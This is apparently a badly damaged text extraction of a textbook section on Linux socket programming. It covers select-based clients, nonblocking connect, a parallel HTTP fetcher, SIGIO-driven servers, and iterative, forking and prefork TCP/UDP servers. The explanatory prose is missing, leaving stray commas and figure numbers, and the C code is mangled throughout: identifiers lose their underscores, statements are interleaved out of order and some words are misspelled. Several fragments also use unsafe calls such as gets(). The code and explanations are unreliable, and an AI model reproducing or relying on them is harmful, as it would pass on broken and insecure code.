9 12 9,,,, ;,,,, : # include < sys/ socket.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > # define max(a, b) (a > b?a : b) int main(int argc, char argv[]) int sfd1, sfd2; struct sockaddr char buf[1024]; int n; fd set rds; int sfdav1, sfdav2; if (argc!= 3) in addr1, addr2; printf( usage: cli2 ip1 ip2 \ n ); exit(1); sfd1 = socket(af INET, SOCK STREAM, 0); sfd2 = socket(af INET, SOCK STREAM, 0); if (sfd1 < 0 sfd2 < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr1, sizeof(addr1)); addr1.sin family = AF INET; 260
addr1.sin port = htons(8080); if (inet aton(argv[1], &addr1.sin addr) < 0) printf( inet exit(1); bzero(&addr2, sizeof(addr2)); addr2.sin family = AF INET; addr2.sin aton error: % s \ n, strerror(errno)); port = htons(8080); if (inet aton(argv[2], &addr2.sin addr) < 0) printf( inet exit(1); aton error: % s \ n, strerror(errno)); if (connect(sfd1, (struct sockaddr )&addr1, sizeof(addr1)) < 0 connect(sfd2, (struct sockaddr )&addr2, sizeof(addr2)) < 0) printf( connect error: % s \ n, strerror(errno)); exit(1); sfdav1 = sfdav2 = 1; for (;;) if (sfdav1 == 1) FD If (sfdav2 == 1) FD SET(sfd1, &rds); SET(sfd2, &rds); n = select(max(sfd1, sfd2) + 1, &rds, NULL, NULL, NULL); if (n < 0 && errno == EINTR) continue; if (FD ISSET(sfd1, &rds)) n = read(sfd1, buf, sizeof(buf)); if (n == 0) sfdav1 = 0; else if (n < 0 && errno!= EINTR) printf( read sfd1 error: % s \ n, strerror(errno)); sfdav1 = 0; else if (n > 0) write(1, buf, n); if (FD ISSET(sfd2, &rds)) n = read(sfd2, buf, sizeof(buf)); if (n == 0) sfdav2 = 0; else if (n < 0 && errno!= EINTR) 261
sfdav2 = 0; else if (n > 0) write(1, buf, n); printf( read sfd1 error: % s \ n, strerror(errno)); select sfdav1 sfdav2 F IN RST, FIN, 0; RST, 0, EINT R, sfdav1 sfdav2, : (1 ) :, TCP UDP 1 SO RCVLOWAT, 1TCP,, ; UDP,,, TCP F IN, 0,,,,, accept,,, so,, so getsockopt, SO error 0, error ERROR connect TCP (2 ) : UDP 262, UDP, UDP, TCP UDP 2048 SO SNDLOWAT
, shutdown SIGP IPE,, EPI PE, so error 0,,, so error getsockopt, SO ERROR TCP connect TCP (3 ) : :,, ;,,, :, MSG OOB,,,,,,, : (1 ); (2 ),, select, / : 1 TCP : connect ( ),,, 12 10, connect TCP 3, connect, SYN,, connect, 3, SYN, N ( N ) : int connect nonb(int sockfd, struct sockaddr in addr, int nsec) 263
12 10 int flags, n, error; int len; fd set rset, wset; struct timeval to; flags = fcntl(sockfd, F GETFL, 0); fcntl(sockfd, F SETFL, flags O NONBLOCK); error = 0; if ((n = connect(sockfd, (struct sockaddr ) addr, sizeof(struct sockaddr in))) < 0) if (errno!= EINPROGRESS) return( - 1); proc xxx(); if (n == 0) goto done; FD FD ZERO(&rset); SET(sockfd, &rset); wset = rset; to.sec = nsec; to.usec = 0; test: if ( (n = select(sockfd + 1, &rset, &wset, NULL, &to)) == 0) close(sockfd); errno = ETIMEOUT; return( - 1); else if (n < 0 && errno == EINTR) goto test; 264
if (FD ISSET(sockfd, &rset) FD ISSET(sockfd, &wset)) len = sizeof(error); if (getsockopt(sockfd, SOL SOCKET, SO ERROR, &error, &len) < 0) return( - 1); done: fcntl(sockfd, F if (error) close(sockfd); errno = error; return( - 1); return(0); connect SETFL, flags); nonb, fcntl O NONBLOCK, connect, EIN PROGRESS TCP 3,,, proc xxx connect,,, done, select, select,, select select, to, select se lect 0,,,, errno ETIMEOUT, select - 1 select, select,, FD SET,,,, 0;,,, 0,, connect IS nonb 0; (ECONNREF USED),, - 1 Web : Web HTML, Web : HTML,,, HTML,, 12 11 select,, 265
12 11 Web, 12 11 : HTML, HTML, 12 12 12 12 select HTML : (IP ) HTML, : bash sen webfetch www.utopian.edu.cn index.html logo.gif mail.gif/ doc/ utopian 3 URL : http:// www.utopian.edu.cn/ index.html http:// www.utopian.edu.cn/ logo.gif http:// www.utopian.edu.cn/ mail.gif 3 / doc/ utopian, / doc/ utopian/ index.html / doc/ utopian/ logo.gif / doc/ utopian/ mail.gif : webfetch.h : # include < sys/ socket.h > # include < sys/ types.h > 266
# include < netinet/ in.h > # include < netdb.h > # include < fcntl.h > # include < string.h > # include < errno.h > # define SS INPROGRESS # define SS FETCHING # define SS DONE struct homepage info char hi hostname[128]; struct sockaddr in hi hostaddr; char hi dirname[128]; struct url info char ui name[128]; int ui fd; int ui sd; int ui state; url list[20]; int hi url no; ; homepage info, hi hostname, ; hi hostaddr ; hi dirname, ; hi url no url list[i], url info : ui name, ; ui fd ; ui sd ; ui state, 3, SS INPROGRESS, SS FETCHING, SS DONE, : # include webfetch.h int main(int argc, char argv[]) struct homepage info hi; if (argc < 4 argc > 23) printf( usage: webfetch host file1 file2...savedir \ n ); exit(1); if (init hi(&hi, argc, argv) < 0) printf( init struct homepage info error \ n ); 267
exit(1); if (start conn(&hi) < 0) printf( start connection error: % s \ n, strerror(errno)); exit(1); conn fetch(&hi);,, 4, 20, 23, init hi hi start conn conn, init hi : # include webfetch.h int init hi(struct homepage info hi, int argc, char argv[]) struct hostent he; int i; strcpy(hi - > hi hostname, argv[1]); strcpy(hi - > hi dirname, argv[argc - 1]); hi - > hi url no = argc - 3; if (inet aton(argv[1], &hi - > hi hostaddr.sin addr) == 0) he = gethostbyname(argv[1]); if (he == NULL) return - 1; fetch hi - > hi hostaddr.sin addr = (struct in addr ) (he - > h addr list); hi - > hi hostaddr.sin family = AF INET; hi - > hi hostaddr.sin port = htons(80); if (chdir(hi - > hi dirname) < 0) printf( chdir error: % s \ n, strerror(errno)); return - 1; for (i = 0; i < hi - > hi url no; i ++ ) strcpy(hi - > url list[i].ui name, argv[i + 2]); hi - > url list[i].ui fd = open(hi - > url list[i].ui name, O WRONLY); if (hi - > url list[i].ui fd < 0) 268
hi - > url list[i].ui sd = - 1; else hi - > url list[i].ui sd = socket(af INET, SOCK STREAM, 0); return 0; init hi, hi host name hi dirname hi url no, IP, inet aton,, gethostbyname HTTP 80 chdir hi - > url list[i].ui name,, hi - > url list[i].ui fd,, hi - > url list [i].ui sd, init hi 0 start conn : # include webfetch.h int start conn(struct homepage info hi) int i; int flag; if (connect(hi - > url list[0].ui sd, (struct sockaddr )hi - > hi hostaddr, sizeof(struct sockaddr in)) < 0) printf( connect error: % s \ n, strerror(errno)); return - 1; hi - > url list[0].ui state = SS FETCHING; send requ(hi, 0); for (i = 1; i < hi - > hi url no; i ++ ) flag = fcntl(hi - > url list[i].ui sd, F GETFL, 0); fcntl(hi - > url list[i].ui sd, F SETFL, flag O NONBLOCK); if (connect(hi - > url list[i].ui sd, (struct sockaddr )hi - > hi hostaddr, sizeof(struct sockaddr in)) < 0) if (errno!= EINPROGRESS) close(hi - > url list[i].ui sd); close(hi - > url list[i].ui fd); hi - > url list[i].ui sd = - 1; 269
continue; else hi - > url list[i].ui state = SS DONE; hi - > url list[i].ui state = SS INPROGRESS; else hi - > url list[i].ui state = SS FETCHING; send return 0; start requ (hi,i); conn HTML,,, url SS FETCHING,, send requ HTT P,, start list conn, connect, connect EINPROGRESS,,, SS DONE, connect EIN PROGRESS,, SS INPROGRESS connect,, SS FETCHING,,, start conn 0, conn fetch : # include webfetch.h # define max(a, b) (a > = b?a : b) void conn fd fetch(struct homepage info hi) set rds, wds; int maxfd = 0; char buf[1024]; int err; int n, i; for (;;) FD FD n = 0; ZERO(&rds); ZERO(&wds); for (i = 0; i < hi - > hi url no; i ++ ) if (hi - > url list[i].ui state!= SS DONE) n ++ ; FD SET(hi - > url list[i].ui sd, &rds); maxfd = max(maxfd, hi - > url 270 list[i].ui sd);
if (hi - > url list[i].ui state == SS INPROGRESS) FD SET(hi - > url list[i].ui sd, &wds); if (n == 0) break; select(maxfd + 1, &rds, &wds, NULL, NULL); for (i = 0; i < hi - > hi url no; i ++ ) if (hi - > url list[i].ui state == SS FETCHING && FD ISSET(hi - > url list[i].ui sd, &rds)) n = read(hi - > url list[i].ui sd, buf, sizeof(buf)); if (n == 0) printf( finish fetching % s \ n, hi - > url list[i].ui name); close(hi - > url list[i].ui close(hi - > url list[i].ui fd); sd); hi - > url list[i].ui state = SS DONE; else write(hi - > url list[i].ui fd, buf, n); else if (hi - > url list[i].ui state == SS INPROGRESS && (FD ISSET(hi - > url list[i].ui sd, &rds) FD ISSET(hi - > url list[i].ui sd, &wds))) n = sizeof(err); if (getsockopt(hi - > url list[i].ui sd, SOL SOCKET, SO ERROR, &err, &n) < 0 err!= 0) printf( connect for % s error: % s \ n, hi - > url list[i].ui name,strerror(err)); close(hi - > url list[i].ui close(hi - > url list[i].ui sd); fd); hi - > url list[i].ui state = SS DONE; else printf( connect for % s success.\ n, hi - > url list[i].ui name); hi - > url list[i].ui state = SS FETCHING; send requ(hi, i); 271
:, SS SS DONE,, INPROGRESS,,,, n SS 0,, conn DONE, fetch, select : SS FETCHING,, read,,,,, SS DONE ; SS INPROGRESS,, getsockopt,,,,, SS,,, SS ING, HTT P conn SS send DONE requ : # include webfetch.h # define HTTP REQUEST GET^s HTTP/ 1 0 \ r \ n \ r \ n void send requ(struct homepage info hi, int idx) char buf[256]; sprintf(buf, HTTP REQUEST, hi - > url list[idx].ui name); write(hi - > url list[idx].ui sd, buf, strlen(buf)); HTT P : GET relative - url HTTP/ 1.0 \ r \ n \ r \ n DONE, FETCH fetch, relative url URL, HTT P, write HTT P 2 : accept, : # include < sys/ socket.h > # include < netinet/ in.h > int main() 272
struct sockaddr int lfd, cfd; fd set rds; in addr; lfd = socket(af INET, SOCK STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); bind(lfd, (struct sockaddr )&addr, sizeof(addr)); listen(lfd, 5); FD ZERO(&rds); for (;;) FD SET(lfd, &rds); select(lfd + 1, &rds, NULL, NULL, NULL); if (FD ISSET(lfd, &rds)) sleep(10); cfd = accept(lfd, NULL, NULL); write(cfd, OK!, 3); close(cfd); select,, se lect, accept, ( sleep, ),,,, :,,, SO LINGER, linger l onoff 1, l linger0, close, TCP RST ( Linux SO LINGER RST, BSD RST ) TCP RST, select, FD ISSET, accept,, accept,, : # include < sys/ socket.h > 273
# include < netinet/ in.h > # include < fcntl.h > int main() struct sockaddr int lfd, cfd; fd set rds; int flag; in addr; lfd = socket(af INET, SOCK STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); bind(lfd, (struct sockaddr )&addr, sizeof(addr)); flag = fcntl(lfd, F GETFL, 0); fcntl(lfd, F SETFL, flag O NONBLOCK); listen(lfd, 5); FD ZERO(&rds); for (;;) FD SET(lfd, &rds); select(lfd + 1, &rds, NULL, NULL, NULL); if (FD ISSET(lfd, &rds)) cfd = accept(lfd, NULL, NULL); if (cfd < 0 && (errno == EWOULDBLOCK errno == ECONNABORTED errno == EPROTO errno == EINTR)) continue; write(cfd, OK!, 3); close(cfd); select, FD ISSET, accept,,, accept,,, accept, EWOULDBLOCK ECONNABORTED EPROTO EINT R,, 12.5 / / /, 274
SIGIO 12 13 / 12 13 SIGIO, SIGIO, SIGIO,, / : /,, /,, / /, : (1 ) SIGIO (2 ) fcntl F SETOWN ( 3) / ioctl FIOASYNC : static void sigio handler(int signo) / main part of sigio handler / int main() 275
int sockfd; int on = 1; signal(sigio, sigio handler); fcntl(sockfd, F SETOWN, getpid()); ioctl(sockfd, FIOASYNC, &on); signal SIGIO, fcntl, ioctl UDP, SIGIO: UDP TCP, SIGIO:, UDP /,, UDP SIGIOTCP /, TCP SIGIO, TCP,, SIGIO, TCP, SIGIO, SIGIO SIGIO 12 14 12 14 SIGIO 276
SIGIO,, SIGIO,,, : # include < sys/ socket.h > # include < sys/ types.h > # include < signal.h > # include < netinet/ in.h > # include < unistd.h > # define QUEUE SIZE 20 # define BACKLOG 5 int cfd queue[queue SIZE]; int qsize = 0; int qtail = 0; int lfd; void sigio int main() struct sockaddr handler(int); struct sigaction act; sigset in addr; t sus, nes, ols; fd set wds; int maxfd = 0; int i; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); i = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &i, sizeof(i)); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigio handler; act.sa mask = 0; 277
act.sa flags = 0; sigaction(sigio, &act, NULL); fcntl(lfd, F i = 1; SETOWN, getpid()); ioctl(lfd, FIOASYNC, &i); for (i = 0; i < QUEUE SIZE; i ++ ) cfd queue[i] = - 1; listen(lfd, 5); FD ZERO(&wds); sigemptyset(&sus); sigemptyset(&ols); sigemptyset(&nes); sigaddset(&nes, SIGIO); sigprocmask(sig for (;;) for (; qsize == 0; ) sigsuspend(&sus); sigprocmask(sig BLOCK, &nes, &ols); SETMASK, &ols, NULL); for (i = 0; i < QUEUE SIZE; i ++ ) if (cfd queue[i]!= - 1) FD SET(cfd queue[i], &wds); maxfd = maxfd > cfd queue[i]?maxfd : cfd queue[i]; select(maxfd + 1, NULL, &wds, NULL, NULL); for (i = 0; i < QUEUE SIZE; i ++ ) if (FD ISSET(cfd queue[i], &wds)) write(cfd close(cfd sigprocmask(sig queue[i], OK!, 3); queue[i]); cfd queue[i] = - 1; qsize - - ; BLOCK, &nes, &ols); : cfd queue,, 0 ; qsize, ; qtail ; lfd, SO 278 REUSEADDR,
bind sigaction SIGIO, SIGIO,,, fcntl F SETOWN ioctl FIOASY NC - 1, listen SI GIO 3 : sus old nes sigemptyset sigaddset, nes SI GIO sigprocmask SIG BLOCK ols, nes, SIGIO,, sigsuspend sigsuspend,, sus,, sigsuspend,, sigsuspend SIGIO, SIGIO, qsize 0, : sigprocmask SIG SETMASK ols,, SIGIO, SIGIO, : qsize 0, SIGIO,, qsize 1, 1,, sigsuspend ( qsize ),, SIGIO ;, SIGIO, select,, : - 1,, 1,, sigproc mask SIGIO : void sigio handler(int sig) int err; int i; i = sizeof(err); getsockopt(lfd, SOL SOCKET, SO ERROR, &err, &i); if (err) 279
printf( socket pending error: % s \ n, strerror(err)); return; if (qsize == QUEUE return; SIZE) for (; cfd queue[qtail] > = 0;) qtail = ++ qtail % QUEUE SIZE; cfd queue[qtail] = accept(lfd, NULL, NULL); if (cfd queue[qtail] < 0) printf( accept error: % s \ n, strerror(errno)); return; qsize ++ ; SIGIO: sigio handler,, SIGIO, :,,, accept,, 1 /, 12.6 4 /,,,,,,,,, /, select,, select :,,, 280
13 13.1 Linux : (1 ) ( iterative server) (2 ) ( concurrent server) TCP UDP, TCP, UDP UDP, TCP TCP : (1 ), (2 ), ( prefork) (3 ) select (4 ) ( inetd ) 13.2 : UDP UDP : UDP, UDP 13 1 13 1 UDP 281
,, UDP, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > int main() int sockfd; struct sockaddr int addrlen; char buf[1024]; int n; in addr, cliaddr; sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); for (;;) addrlen = sizeof(cliaddr); n = recvfrom (sockfd, buf, sizeof(buf), 0, if (n < 0 && errno == EINTR) continue; else if (n < 0) (struct sockaddr )&cliaddr, &addrlen); printf( recvfrom error: % s \ n, strerror(errno)); continue; sendto (sockfd, buf, n, 0, 282 (struct sockaddr )&cliaddr, addrlen);
UDP,, UDP, UDP, UDP, UDP, UDP UDP,, UDP, UDP 13.3 : TCP TCP : TCP,,, TCP 13 2 13 2 TCP TCP, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > # define BACKLOG 5 int main() int lfd, cfd; struct sockaddr in addr; lfd = socket(af INET, SOCK STREAM, 0); 283
if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, BACKLOG); for (;;) cfd = accept(lfd, NULL, NULL); if (cfd < 0 && errno == EINTR) continue; else if (cfd < 0) printf( accept error: % s \ n, strerror(errno)); continue; else proc close(cfd); client(cfd); TCP,,,, listen backlog TCP, TCP,,, TCP, ( daytime) 13.4 : UDP UDP, UDP, UDP, 284
,,, UDP ;,,,, UDP, UDP, UDP :,, UDP UDP TCP : 1 UDP,,, 13 3 13 3 UDP ( I) 2,, :,,,, TCP, UDP,,,,, UDP 285
,? :,,,, 13 4 13 4 UDP ( II) UDP (1 ) UDP : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > void sigchld int main() int sockfd; struct sockaddr int addrlen; handler(int); char buf[1024]; int n; int pid; struct sigaction act; in addr, cliaddr; sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; 286
addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigchld handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigchld, &act, NULL); for (;;) addrlen = sizeof(cliaddr); n = recvfrom (sockfd, buf, sizeof(buf), 0, if (n < 0 && errno == EINTR) continue; else if (n < 0) (struct sockaddr )&cliaddr, &addrlen); printf( recvfrom error: % s \ n, strerror(errno)); continue; if ((pid = fork()) == 0) sendto (sockfd, buf, n, 0, exit(0); else if (pid < 0) (struct sockaddr )&cliaddr, addrlen); printf( fork error: % s \ n, strerror(errno)); void sigchld handler(int sig) for (; waitpid( - 1, NULL, WNOHANG) > 0; ) continue;, SIGCHLD sigchld handler, recvfrom,, (2 ) UDP : # include < sys/ socket.h > # include < sys/ types.h > 287
# include < netinet/ in.h > # include < string.h > # include < errno.h > void sigchld void proc int main() int sockfd; struct sockaddr int addrlen; handler(int); dgram(int, char, int); char buf[1024]; int n; int pid; struct sigaction act; in addr, cliaddr; sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigchld handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigchld, &act, NULL); for (;;) addrlen = sizeof(cliaddr); n = recvfrom (sockfd, buf, sizeof(buf), 0, if (n < 0 && errno == EINTR) continue; else if (n < 0) (struct sockaddr )&cliaddr, &addrlen); printf( recvfrom error: % s \ n, strerror(errno)); continue; if ((pid = fork()) == 0) 288
proc exit(0); else if (pid < 0) dgram(sockfd, buf, n, &cliaddr, addrlen); printf( fork error: % s \ n, strerror(errno)); void sigchld handler(int sig) for (; waitpid( - 1, NULL, WNOHANG) > 0; ) continue; void proc dgram(int ofd, char buf, int len, struct sockaddr int nfd; struct sockaddr int addrlen; int i; in addr; nfd = socket(af INET, SOCK DGRAM, 0); if (nfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = 0; addr.sin addr.s addr = htonl(inaddr ANY); in cliaddr, int addrlen) if (bind(nfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); getsockname(nfd, (struct sockaddr )&addr, &addrlen); sendto(ofd, &addr.sin port, sizeof(addr.sin port), 0, (struct sockaddr )cliaddr, addrlen); close(ofd); for (i = 0; i < 10; i ++ ) sendto(ofd, buf, len, 0, (struct sockaddr )cliaddr, addrlen);, 289
proc dgram proc dgram,, getsockname proc dgram, :,, # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > int main(int argc, char argv[]) int sockfd; struct sockaddr char buf[1024]; int n; if (argc!= 2) in addr; printf( usage: udpcli ip \ n ); exit(1); sockfd = socket(af INET, SOCK DGRAM, 0); if (sockfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); if (inet aton(argv[1], &addr.sin addr) < 0) printf( inet exit(1); aton error: % s \ n, strerror(errno)); connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); gets(buf); write(sockfd, buf, strlen(buf)); read(sockfd, &addr.sin port, sizeof(addr.sin port)); connect(sockfd, (struct sockaddr )&addr, sizeof(addr)); for (i = 0; i < 10; i ++ ) n = read(sockfd, buf, sizeof(buf)); write(1, buf, n); 290
,,,,, 13.5 TCP : TCP TCP accept, 13 5 13 5 TCP,,,,,,,,,,, HT TP, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > void sigchld handler(int); int main() 291
int lfd, cfd; struct sockaddr int n; in addr; struct sigaction act; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); n = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &n, sizeof(n)); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 5); act.sa handler = sigchld handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigchld, &act, NULL); for (;;) cfd = accept(lfd, NULL, NULL); if (cfd < 0 && errno == EINTR) continue; else if (cfd < 0) printf( accept error: % s \ n, strerror(errno)); continue; if ((n = fork()) == 0) char buf[1024]; n = read(cfd, buf, sizeof(buf)); write(cfd, buf, n); close(cfd); exit(0); else if (n < 0) printf( fork error: % s \ n, strerror(errno)); close(cfd); 292
void sigchld handler(int sig) for (; waitpid( - 1, NULL, WNOHANG) > 0; ) continue;, SO REUSEADDR,,, 13.6 TCP : :, :,, HTT P,,,, ;,, :,,, ;, 13 6 13 6 TCP ( ),,,,, 293
,,,,, ;, alarm setitimer SIGALRM, setitimer alarm 13 7 13 7 TCP ( ) 13 7, : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > # include < signal.h > void sigalrm void sigchld void proc handler(int); handler(int); requ(int); # define BACKLOG 5 # define timeout 1 int timeout flag = 0; int main() int lfd, cfd; struct sockaddr in addr; struct sigaction act; 294
int i; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); i = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &i, sizeof(i)); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, BACKLOG); act.sa handler = sigalrm handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigalrm, &act, NULL); act.sa handler = sigchld handler; sigaction(sigalrm, &act, NULL); for (;;) cfd = accept(lfd, NULL, NULL); if (cfd < 0 && errno == EINTR) continue; else if (cfd < 0) printf( accept error: % s \ n, strerror(errno)); continue; proc requ(cfd); close (cfd); void sigalrm timeout flag = 1; void sigchld handler(int sig) handler(int sig) while (waitpid( - 1, NULL, WNOHANG) > 0) 295
void proc continue; requ(int sfd) char buf[2048]; int n; int fd; while ((n = read(sfd, buf, sizeof(buf))) < 0) continue; buf[n] = 0; fd = open(buf, O if (fd < 0) RDONLY); write(sfd, buf, n); write(sfd, not found., 11); return; timeout flag = 0; alarm(timeout); for (; timeout flag == 0; ) n = read(fd, buf, sizeof(buf)); if (n > 0) write(sfd, buf, n); else if (n == 0) return; alarm(0); if (fork() == 0) strust sigaction act; act.sa handler = SCG IGN; act.sa mask = 0; act.sa flags = 0; sigaction(sigalrm,& act,null); for(;(n = readlfd,but,sizeof(but))) > 0;) write (std,but,n); exit(0); close(fd);, proc proc requ requ,,,, 296
,,, alarm SIGALRM,, SIGALRM, timeout flag 1,, 13.7 TCP :,,,, ( prefork ), accept, 13 8 13 8 TCP ( ) N,,,,,,,,, TCP,,,,, accept, accept,, 297
,, CP U,, CP U,,,,, ;,,, N, N ;, N : accept,,,,,,, accept 1 : : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > # include < errno.h > void sigchld handler(int) while (waitpid( - 1, NULL, WNOHANG) > 0) # define BACKLOG 5 # define CHILD NUM 5 int pids[child int main() int lfd; struct sockaddr NUM]; in addr; struct sigaction act; int i; lfd = socket(af INET, SOCK STREAM, 0); 298
if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); i = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &i, sizeof(i)); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 5); act.sa handler = sigchld handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigchld, &act, NULL); for (i = 0; i < CHILD NUM; i ++ ) pids[i] = fork child(lfd); act.sa handler = sigint handler; sigaction(sigint, &act, NULL); for (;;) pause(); fork child CHILD N UM SIGINT,,, SIGINT : void sigint int i; handler(int sig) for (i = 0; i < CHILD NUM; i ++ ) if (pids[i] > 0) kill(pids[i], SIGTERM); while (wait(null) > 0) exit(0); SIGINT,, 299
SIGTERM, wait, wait,, fork int fork pid child : child(int lfd) t pid; if ((pid = fork()) > 0) return (pid); child void child int cfd; for (;;) proc(lfd); proc(int lfd) cfd = accept(lfd, NULL, NULL); if (cfd < 0) continue; write(cfd, OK, 2); close(cfd); fork,, child proc child,, proc,, 2 :,, ;, :, ;,,,, 1;,, 0 13 9 : # include < sys/ socket.h > # include < sys/ types.h > # include < netinet/ in.h > # include < string.h > 300
13 9 TCP ( ) # include < errno.h > # define CHILD NUM MAX 100 # define CHILD AVAIL LOW 5 # define CHILD AVAIL HIGH 20 # define CHILD INIT NUM 10 # define CS WAITING 0 # define CS PROCESSING 1 # define BACKLOG 10 struct child queue int chld int chld no; avail; struct child info int pid; int pfd; int state; ci[child NUM MAX]; ; 100, 5, 20, 10 ( CS WAI T ING) ( CS PROCESSING), child queue, : : 301
# include prefork void sigint int main() int lfd; struct sockaddr dyn.h handler(int); in addr; struct sigaction act; struct child fd set rds; int maxfd; int status; int i, n, nchld; queue cq; lfd = socket(af INET, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); i = 1; setsockopt(lfd, SOL SOCKET, SO REUSEADDR, &i, sizeof(i)); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, BACKLOG); cq.chld no = 0; cq.chld avail = 0; for (i = 0; i < CHILD NUM MAX; i ++ ) cq.ci[i].pid = - 1; cq.ci[i].pfd = - 1; cq.ci[i].state = - 1; create child(&cq, lfd, CHILD INIT NUM); act.sa handler = sigint handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigint, &act, NULL); FD ZERO(&rds); for (;;) 302
maxfd = 0; nchld = 0; for (i = 0; i < CHILD NUM MAX && nchld < cq.chld no; i ++ ) if (cq.ci[i].pid > 0) nchld ++ ; FD SET(cq.ci[i].pfd, &rds); maxfd = maxfd > cq.ci[i].pfd?maxfd : cq.ci[i].pfd; select(maxfd + 1, &rds, NULL, NULL, NULL); nchld = 0; for (i = 0; i < CHILD NUM MAX && nchld < cq.chld no; i ++ ) if (cq.ci[i].pid > 0 && FD ISSET(cq.ci[i].pfd, &rds)) n = read(cq.ci[i].pfd, &status, sizeof(status)); if (n == 0) cq.ci[i].pid = - 1; close(cq.ci[i].pfd); cq.chld no - - ; cq.chld avail - - ; else if (n > 0) if (status == 1) cq.ci[i].state = CS PROCESSING; cq.chld avail - - ; else cq.ci[i].state = CS WAITING; cq.chld avail ++ ; if (cq.ci[i].pid > 0) nchld ++ ; nchld = cq.chld no - cq.chld avail; if (nchld > CHILD AVAIL HIGH) kill idle child(&cq); else if (nchld < CHILD AVAIL LOW) create child(&cq, lfd, CHILD AVAIL LOW); void sigint handler(int sig) int i; 303
